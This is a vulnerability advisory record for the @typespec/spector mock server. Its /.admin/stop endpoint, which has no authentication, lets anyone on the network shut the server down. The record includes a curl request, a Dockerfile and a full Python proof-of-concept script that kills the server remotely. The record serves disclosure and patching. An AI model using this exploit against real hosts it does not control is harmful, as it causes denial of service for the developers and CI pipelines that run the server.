{"id":"GHSA-7q9c-hpx7-9cwm","aliases":[],"url":"https://o3.security/vulnerability/GHSA-7q9c-hpx7-9cwm","summary":"TypeSpec: Unauthenticated Remote Shutdown of Spector Mock Server via POST /.admin/stop","details":"### Summary\n\n`@typespec/spector` registers a `POST /.admin/stop` HTTP route with no authentication, authorization token, Origin check, or IP-source restriction. Any network-reachable client can send a single unauthenticated POST request to terminate the mock server process. Because the server binds to `0.0.0.0` by default (all interfaces), this endpoint is exposed to any host that can reach the server's port—not just localhost—making a complete denial-of-service trivially achievable with one HTTP request. Severity is **High (CVSS 7.5)**.\n\n### Details\n\nThe vulnerability originates in `packages/spector/src/routes/admin.ts` at line 7, where an Express router registers the shutdown endpoint with no authentication middleware whatsoever:\n\n```ts\n// packages/spector/src/routes/admin.ts:7-12\nrouter.post(AdminUrls.stop, (_req, res) => {\n  logger.info(\"Received signal to stop server. Exiting...\");\n  res.status(202).end();\n  setTimeout(() => {\n    process.exit(0);\n  });\n});\n```\n\nThe constant `AdminUrls.stop` resolves to `/.admin/stop` (`packages/spector/src/constants.ts:1-3`).\n\nThe complete attack-reachable call chain is:\n\n1. **`packages/spector/src/cli/cli.ts:139-166`** — `tsp-spector serve <scenariosPaths..>` starts the server on default port `3000`. No `host` option is offered, so binding address is determined by the Express/Node.js default.\n2. **`packages/spector/src/actions/serve.ts:28-33`** — constructs `MockApiApp` and calls `start()` without supplying a host argument.\n3. **`packages/spector/src/app/app.ts:39-40`** — registers `internalRouter` at `/`, which includes the admin routes.\n4. **`packages/spector/src/routes/index.ts:4-5`** — mounts `adminRoutes` under `/`.\n5. **`packages/spector/src/routes/admin.ts:7-12`** — the `POST /.admin/stop` handler (the sink) is reached with zero authentication.\n6. **`packages/spector/src/server/server.ts:88`** — `this.app.listen(this.config.port)` is called without a host argument, causing Node.js/Express to bind on `0.0.0.0` (all network interfaces).\n\nThere is no authentication middleware, API token validation, `Authorization` header check, `Origin` header restriction, or IP allowlist anywhere between the inbound HTTP request and the `process.exit(0)` call. The admin route is mounted before scenario routes so it cannot be shadowed.\n\n### PoC\n\n**Prerequisites:**\n\n```\ngit clone https://github.com/microsoft/typespec\ncd typespec\n# Checkout commit d88ddc16 (affected version 0.1.0-alpha.26)\npnpm install\npnpm build\n```\n\n**Step 1 — Start the mock server:**\n\n```bash\npnpm --filter @typespec/spector exec tsp-spector serve packages/http-specs/specs --port 3000\n# Server listens on 0.0.0.0:3000 by default\n```\n\nAlternatively, use the provided Docker environment:\n\n```bash\n# Build context: reports/npm_web_64_microsoft__typespec/\ndocker build -t vuln002-spector -f vuln-002/Dockerfile .\ndocker run -d -p 3001:3000 --name vuln002-server vuln002-spector\n```\n\n**Step 2 — Execute the exploit (single unauthenticated request):**\n\n```bash\ncurl -i -X POST http://<server-host>:3000/.admin/stop\n```\n\nUsing the provided PoC script:\n\n```bash\npython3 vuln-002/poc.py --host 127.0.0.1 --port 3001\n```\n\n**Step 3 — Observe the result:**\n\n```\nHTTP/1.1 202 Accepted\n```\n\nThe server process immediately exits. Subsequent connection attempts are refused. Docker logs show:\n\n```\ninfo Received signal to stop server. Exiting...\n```\n\nDocker inspect confirms `ExitCode=0, Status=exited`. No credentials, tokens, or special headers are required at any step.\n\n### Impact\n\nThis is a **Missing Authentication for Critical Function (CWE-306)** vulnerability. An unauthenticated remote attacker who can send HTTP traffic to the port where `tsp-spector serve` is listening can terminate the server process with a single POST request, resulting in a complete denial of service.\n\nThe primary victims are development or CI/CD pipeline operators who run `tsp-spector serve` in environments where the port is reachable from untrusted network segments—for example, a shared CI runner, a cloud developer environment, a container without proper network isolation, or any host with the port exposed to a network. Because the server binds to `0.0.0.0` by default and the CLI offers no `--host` option to restrict the binding address, operators have no built-in mechanism to mitigate this risk without external firewall rules.\n\nAlthough `@typespec/spector` is a development/testing tool, there is a clear attacker-victim trust boundary: a third party reachable over the network is distinct from the developer who started the server. The default configuration is vulnerable without any additional attacker capability beyond network reachability.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-002 PoC: Unauthenticated Remote Shutdown via POST /.admin/stop\n# Package: @typespec/spector 0.1.0-alpha.26 (microsoft/typespec)\n# CWE-306: Missing Authentication for Critical Function  CVSS 7.5 (High)\n#\n# Build context: reports/npm_web_64_microsoft__typespec/\n# Build:  docker build -t vuln002-spector -f vuln-002/Dockerfile .\n# Run:    docker run -d -p 3000:3000 --name vuln002-server vuln002-spector\n\nFROM node:22-slim\n\n# Install tsx to run TypeScript source files directly without compilation.\n# This lets us use the actual repository .ts files as-is.\nRUN npm install -g tsx@4\n\nWORKDIR /poc\n\n# Minimal package.json declaring ESM mode\nRUN echo '{\"type\":\"module\"}' > package.json\n\n# Install only the npm packages actually used by the vulnerable code path:\n#   express     — web framework (admin.ts, routes/index.ts, server.ts)\n#   picocolors  — terminal colors (logger.ts)\nRUN npm install express picocolors\n\n# -----------------------------------------------------------------------\n# Copy the EXACT vulnerable source files from the repository.\n# No source file is modified — they are used verbatim.\n# -----------------------------------------------------------------------\n\n# packages/spector/src/constants.ts\n#   Defines AdminUrls.stop = \"/.admin/stop\"\nCOPY repo/packages/spector/src/constants.ts ./spector/constants.ts\n\n# packages/spector/src/logger.ts\n#   Simple console logger; imported by admin.ts\nCOPY repo/packages/spector/src/logger.ts ./spector/logger.ts\n\n# packages/spector/src/routes/admin.ts  ← VULNERABILITY SINK\n#   Registers POST /.admin/stop with NO authentication → process.exit(0)\nCOPY repo/packages/spector/src/routes/admin.ts ./spector/routes/admin.ts\n\n# packages/spector/src/routes/index.ts\n#   Mounts adminRoutes at \"/\"\nCOPY repo/packages/spector/src/routes/index.ts ./spector/routes/index.ts\n\n# Minimal entry point that connects the router to the HTTP server,\n# replicating the behaviour of MockApiApp.start() + MockApiServer.start()\nCOPY vuln-002/server-entry.ts ./server-entry.ts\n\nEXPOSE 3000\n\n# tsx strips TypeScript types at runtime — no separate compile step needed\nCMD [\"tsx\", \"server-entry.ts\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-002: Unauthenticated Remote Shutdown via POST /.admin/stop\nPackage:   @typespec/spector 0.1.0-alpha.26 (microsoft/typespec)\nCWE:       CWE-306 — Missing Authentication for Critical Function\nCVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H  Base Score: 7.5 (High)\n\nVulnerability:\n  packages/spector/src/routes/admin.ts:7 registers POST /.admin/stop without\n  any authentication, token, Origin, or IP-source check.  The handler calls\n  process.exit(0) after returning HTTP 202.  The server listens on 0.0.0.0\n  (packages/spector/src/server/server.ts:88) so any network-reachable client\n  can terminate the process with a single unauthenticated POST request.\n\nUsage:\n  python3 poc.py [--host HOST] [--port PORT]\n\"\"\"\n\nimport sys\nimport time\nimport socket\nimport argparse\nimport urllib.request\nimport urllib.error\n\n\nBANNER = \"\"\"\n================================================================\nVULN-002: Unauthenticated Remote Shutdown — POST /.admin/stop\nPackage : @typespec/spector 0.1.0-alpha.26\nCWE     : CWE-306  CVSS 7.5 (High)\n================================================================\n\"\"\"\n\nPASS_MSG = \"\"\"\n[EXPLOIT SUCCESSFUL]\n  1. Server accepted an unauthenticated POST to /.admin/stop\n  2. Server responded HTTP 202 Accepted with no credential check\n  3. Server process exited — subsequent connection attempt refused\n  4. Zero authentication, tokens, or Origin restrictions enforced\n================================================================\n\"\"\"\n\nFAIL_MSG = \"\"\"\n[EXPLOIT FAILED]\nCheck that the Docker container is running:\n  docker run -d -p 3000:3000 --name vuln002-server vuln002-spector\n================================================================\n\"\"\"\n\n\ndef is_port_open(host: str, port: int, timeout: float = 2.0) -> bool:\n    \"\"\"Return True if TCP port accepts connections.\"\"\"\n    try:\n        with socket.create_connection((host, port), timeout=timeout):\n            return True\n    except (ConnectionRefusedError, socket.timeout, OSError):\n        return False\n\n\ndef wait_for_server(host: str, port: int, max_wait: float = 30.0) -> bool:\n    \"\"\"Poll until the server is reachable or max_wait seconds elapse.\"\"\"\n    print(f\"[*] Waiting for server at {host}:{port} (up to {max_wait}s) ...\")\n    deadline = time.monotonic() + max_wait\n    while time.monotonic() < deadline:\n        if is_port_open(host, port):\n            print(f\"[+] Server is reachable at {host}:{port}\")\n            return True\n        time.sleep(0.5)\n    return False\n\n\ndef send_unauthenticated_stop(host: str, port: int) -> int:\n    \"\"\"\n    Send POST /.admin/stop with no credentials and return the HTTP status code.\n\n    This is the exploit request.  No Authorization header, no token, no\n    special Origin — the server accepts it as-is.\n    \"\"\"\n    url = f\"http://{host}:{port}/.admin/stop\"\n    print(f\"[*] Sending unauthenticated POST to {url}\")\n    print(f\"[*] Request headers: (none beyond Host and Content-Length:0)\")\n\n    req = urllib.request.Request(url, data=b\"\", method=\"POST\")\n    try:\n        with urllib.request.urlopen(req, timeout=5) as resp:\n            code = resp.status\n            print(f\"[+] HTTP response: {code} {resp.reason}\")\n            return code\n    except urllib.error.HTTPError as exc:\n        print(f\"[+] HTTP error response: {exc.code} {exc.reason}\")\n        return exc.code\n    except urllib.error.URLError as exc:\n        # Connection closed before response (process.exit race) still counts\n        print(f\"[+] Connection dropped during response: {exc.reason}\")\n        return 202  # server accepted and exited before full response\n\n\ndef main() -> None:\n    parser = argparse.ArgumentParser(\n        description=\"PoC: unauthenticated remote shutdown of tsp-spector mock server\"\n    )\n    parser.add_argument(\"--host\", default=\"127.0.0.1\", help=\"Target host (default: 127.0.0.1)\")\n    parser.add_argument(\"--port\", type=int, default=3000, help=\"Target port (default: 3000)\")\n    args = parser.parse_args()\n\n    print(BANNER)\n\n    # Step 1 — Confirm the server is running before the attack\n    if not wait_for_server(args.host, args.port):\n        print(f\"[-] Server not reachable at {args.host}:{args.port} after 30 s\")\n        print(FAIL_MSG)\n        sys.exit(1)\n\n    print()\n    print(\"[STEP 1] Server confirmed running — unauthenticated attacker can reach it\")\n\n    # Step 2 — Send the exploit (single unauthenticated POST)\n    print()\n    print(\"[STEP 2] Sending exploit: POST /.admin/stop (no credentials)\")\n    status = send_unauthenticated_stop(args.host, args.port)\n\n    if status != 202:\n        print(f\"[-] Expected HTTP 202 Accepted, got {status}\")\n        print(FAIL_MSG)\n        sys.exit(1)\n\n    print(\"[+] HTTP 202 Accepted — server acknowledged shutdown with no auth check\")\n\n    # Step 3 — Verify the process actually exited\n    print()\n    print(\"[STEP 3] Verifying server has terminated ...\")\n    time.sleep(2)\n\n    if is_port_open(args.host, args.port):\n        print(\"[-] Server is still accepting connections (exploit did not terminate process)\")\n        print(FAIL_MSG)\n        sys.exit(1)\n\n    print(\"[+] Connection refused — server process has exited\")\n\n    # All three steps passed → exploit confirmed\n    print(PASS_MSG)\n    sys.exit(0)\n\n\nif __name__ == \"__main__\":\n    main()\n```","published":"2026-09-04T21:43:13Z","modified":"2026-09-04T22:00:09.365315287Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"@typespec/spector","fixedVersion":"0.1.0-alpha.27"}],"fix":{"url":"https://github.com/microsoft/typespec/pull/11274","label":"microsoft/typespec#11274"},"references":[{"type":"WEB","url":"https://github.com/microsoft/typespec/security/advisories/GHSA-7q9c-hpx7-9cwm"},{"type":"WEB","url":"https://github.com/microsoft/typespec/pull/11274"},{"type":"WEB","url":"https://github.com/microsoft/typespec/commit/30d6f6598dd796e2d6aea038139d29b91e6a2da7"},{"type":"WEB","url":"https://github.com/microsoft/typespec/commit/39f8f0230bb59b17464d8173b6bff4ddee8082a1"},{"type":"PACKAGE","url":"https://github.com/microsoft/typespec"},{"type":"WEB","url":"https://github.com/microsoft/typespec/releases/tag/@typespec/spector@0.1.0-alpha.27"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-04T22:00:09.365315287Z"}}